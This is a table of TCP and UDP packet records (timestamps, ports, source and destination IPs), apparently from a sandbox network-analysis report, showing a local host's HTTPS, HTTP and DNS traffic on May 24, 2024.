May 24, 2024 00:52:17.640599966 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.640654087 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.640665054 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.645701885 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.645757914 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.645771027 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.657982111 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.658011913 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.658041000 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.658055067 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.658113003 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.660151005 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.662293911 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.662348032 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.662359953 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.663654089 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.663708925 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.663721085 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.668435097 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.668492079 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.668504000 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.669862986 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.669925928 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.669938087 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.671286106 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.671341896 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.671354055 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.674120903 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.674176931 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.674190998 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.676975965 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.677040100 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.677058935 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.681729078 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.681787968 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.681798935 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.683099031 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.683151007 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.683161974 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.686728954 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.686785936 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.686801910 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.690918922 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.690973997 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.690984964 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.693682909 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.693744898 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.693767071 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.698059082 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.698121071 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.698139906 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.702092886 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.702152967 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.702159882 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.702680111 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.702732086 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.702735901 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.707433939 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.707501888 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.707506895 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.717040062 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.717094898 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.717107058 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.720619917 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.720678091 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.720689058 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.722229958 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.722286940 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.722297907 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.723232985 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.723289013 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.723299980 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.725008011 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.725058079 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.725069046 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.726680994 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.726736069 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.726747990 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.729084015 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.729136944 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.729147911 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.731178045 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.731230974 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.731242895 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.732248068 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.732299089 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.732311010 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.737023115 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.737073898 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.737085104 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.748342037 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.748397112 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.748406887 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.748420000 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.748466969 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.748486042 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.750123978 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.750153065 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.750190020 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.750211954 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.750271082 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.750823975 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.752060890 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.752114058 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.752126932 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.756036997 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.756073952 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.756098986 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.756118059 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.756128073 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.756138086 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.756139994 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.756172895 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.756186008 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.756994009 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.757050991 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.757062912 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.758497953 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.758549929 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.758562088 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.760879993 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.760915041 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.760941982 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.760970116 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.761022091 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.761693001 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.762713909 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.762763023 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.762780905 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.763809919 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.763860941 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.763873100 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.766691923 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.766716957 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.766742945 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.766757011 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.766808987 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.771168947 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.775825977 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.775883913 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.775896072 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.775919914 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.775971889 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.776777983 CEST	49799	443	192.168.2.5	142.250.186.110
May 24, 2024 00:52:17.776812077 CEST	443	49799	142.250.186.110	192.168.2.5
May 24, 2024 00:52:17.846879959 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:17.903332949 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.077146053 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.118017912 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.122956038 CEST	49792	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.123100042 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.128226042 CEST	80	49792	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.180291891 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.180377960 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.180463076 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.180706024 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.180727005 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.180792093 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.181206942 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.181236029 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.181492090 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.181518078 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.317322969 CEST	80	49787	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.334506989 CEST	49802	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.339802980 CEST	80	49802	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.341134071 CEST	49802	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.342233896 CEST	49802	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.361480951 CEST	80	49792	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.368751049 CEST	80	49802	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.370280981 CEST	49787	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.402261019 CEST	49792	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.928555012 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.929081917 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.929125071 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.929524899 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.929835081 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.930238008 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.930453062 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.930469036 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.931796074 CEST	80	49802	13.248.148.254	192.168.2.5
May 24, 2024 00:52:18.939095974 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.939445972 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.939464092 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.940021038 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.940340996 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.940699100 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.940793037 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.940805912 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:18.974067926 CEST	49802	80	192.168.2.5	13.248.148.254
May 24, 2024 00:52:18.974540949 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:18.992887020 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.659194946 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.659194946 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.659543991 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.660054922 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.660082102 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.660123110 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.660157919 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.660310984 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.704412937 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.704413891 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.704482079 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.723551989 CEST	49796	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:19.749516010 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.766495943 CEST	443	49796	142.250.185.78	192.168.2.5
May 24, 2024 00:52:19.855506897 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.855710983 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.855788946 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.860609055 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.860717058 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.860768080 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.931868076 CEST	443	49796	142.250.185.78	192.168.2.5
May 24, 2024 00:52:19.931931973 CEST	443	49796	142.250.185.78	192.168.2.5
May 24, 2024 00:52:19.932003975 CEST	49796	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:19.991149902 CEST	49796	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:19.991218090 CEST	443	49796	142.250.185.78	192.168.2.5
May 24, 2024 00:52:19.994930983 CEST	49800	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.994947910 CEST	443	49800	172.217.18.1	192.168.2.5
May 24, 2024 00:52:19.996361971 CEST	49801	443	192.168.2.5	172.217.18.1
May 24, 2024 00:52:19.996376038 CEST	443	49801	172.217.18.1	192.168.2.5
May 24, 2024 00:52:20.251522064 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:20.251564026 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:20.251621962 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:20.252087116 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:20.252105951 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:20.257349014 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:20.257385969 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:20.257472992 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:20.257827997 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:20.257836103 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:20.257983923 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:20.258325100 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:20.258339882 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:20.258656025 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:20.258667946 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:20.996897936 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:20.997189045 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:20.997219086 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:20.998744965 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:20.999135017 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:20.999268055 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:20.999274969 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:20.999314070 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:21.009119987 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.009341002 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.009351969 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.009711027 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.009768009 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.010405064 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.010457993 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.010462999 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.010658026 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.010715008 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.010871887 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.010876894 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.020314932 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.020529985 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.020536900 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.021302938 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.021374941 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.022300959 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.022351980 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.022356033 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.022597075 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.022674084 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.022718906 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.053896904 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.053919077 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:21.066517115 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.069880962 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.069896936 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.117894888 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.294872046 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.294948101 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.295095921 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.296071053 CEST	49804	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.296097040 CEST	443	49804	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.300194979 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.300287008 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.300395012 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.300748110 CEST	49805	443	192.168.2.5	142.250.185.193
May 24, 2024 00:52:21.300762892 CEST	443	49805	142.250.185.193	192.168.2.5
May 24, 2024 00:52:21.315319061 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:21.315536022 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:21.315603018 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:21.315901995 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:21.315920115 CEST	443	49803	142.250.185.78	192.168.2.5
May 24, 2024 00:52:21.315931082 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:21.316142082 CEST	49803	443	192.168.2.5	142.250.185.78
May 24, 2024 00:52:21.418667078 CEST	80	49786	69.16.230.42	192.168.2.5
May 24, 2024 00:52:21.420454979 CEST	49786	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:22.018301010 CEST	49786	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:22.079453945 CEST	80	49786	69.16.230.42	192.168.2.5
May 24, 2024 00:52:23.860364914 CEST	80	49788	67.225.218.50	192.168.2.5
May 24, 2024 00:52:23.860524893 CEST	49788	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:24.407274008 CEST	80	49785	69.16.230.42	192.168.2.5
May 24, 2024 00:52:24.407350063 CEST	49785	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:25.774095058 CEST	49785	80	192.168.2.5	69.16.230.42
May 24, 2024 00:52:25.774095058 CEST	49788	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:25.779309034 CEST	80	49785	69.16.230.42	192.168.2.5
May 24, 2024 00:52:25.784138918 CEST	80	49788	67.225.218.50	192.168.2.5
May 24, 2024 00:52:25.964718103 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:25.964750051 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:25.964953899 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:25.965178967 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:25.965193987 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:26.647911072 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:26.648252010 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:26.648264885 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:26.648724079 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:26.649091005 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:26.649197102 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:26.698348045 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:26.866781950 CEST	80	49790	67.225.218.50	192.168.2.5
May 24, 2024 00:52:26.866868019 CEST	49790	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:26.871560097 CEST	80	49794	67.225.218.50	192.168.2.5
May 24, 2024 00:52:26.871665001 CEST	49794	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:27.771554947 CEST	49790	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:27.771589041 CEST	49794	80	192.168.2.5	67.225.218.50
May 24, 2024 00:52:27.824264050 CEST	80	49790	67.225.218.50	192.168.2.5
May 24, 2024 00:52:27.824276924 CEST	80	49794	67.225.218.50	192.168.2.5
May 24, 2024 00:52:36.555195093 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:36.555260897 CEST	443	49807	172.217.18.4	192.168.2.5
May 24, 2024 00:52:36.555321932 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:37.776834011 CEST	49807	443	192.168.2.5	172.217.18.4
May 24, 2024 00:52:37.776855946 CEST	443	49807	172.217.18.4	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 24, 2024 00:51:21.487715006 CEST	53	57029	1.1.1.1	192.168.2.5
May 24, 2024 00:51:21.579212904 CEST	53	50958	1.1.1.1	192.168.2.5
May 24, 2024 00:51:22.635185003 CEST	53	61317	1.1.1.1	192.168.2.5
May 24, 2024 00:51:23.425545931 CEST	62054	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:23.431972027 CEST	58603	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:23.462022066 CEST	53	62054	1.1.1.1	192.168.2.5
May 24, 2024 00:51:23.462033987 CEST	53	58603	1.1.1.1	192.168.2.5
May 24, 2024 00:51:23.465564013 CEST	62643	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:23.465699911 CEST	63688	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:23.481373072 CEST	53	62643	1.1.1.1	192.168.2.5
May 24, 2024 00:51:23.481384039 CEST	53	63688	1.1.1.1	192.168.2.5
May 24, 2024 00:51:24.260303974 CEST	49219	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:24.260641098 CEST	56981	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:24.261518002 CEST	54301	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:24.261874914 CEST	54388	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:24.299797058 CEST	53	55808	1.1.1.1	192.168.2.5
May 24, 2024 00:51:24.299938917 CEST	53	54301	1.1.1.1	192.168.2.5
May 24, 2024 00:51:24.299951077 CEST	53	56981	1.1.1.1	192.168.2.5
May 24, 2024 00:51:24.299961090 CEST	53	54388	1.1.1.1	192.168.2.5
May 24, 2024 00:51:25.261471033 CEST	53	60548	1.1.1.1	192.168.2.5
May 24, 2024 00:51:25.919873953 CEST	62058	53	192.168.2.5	1.1.1.1
May 24, 2024 00:51:25.920048952 CEST	58182	53	192.168.2.5	1.1.1.1
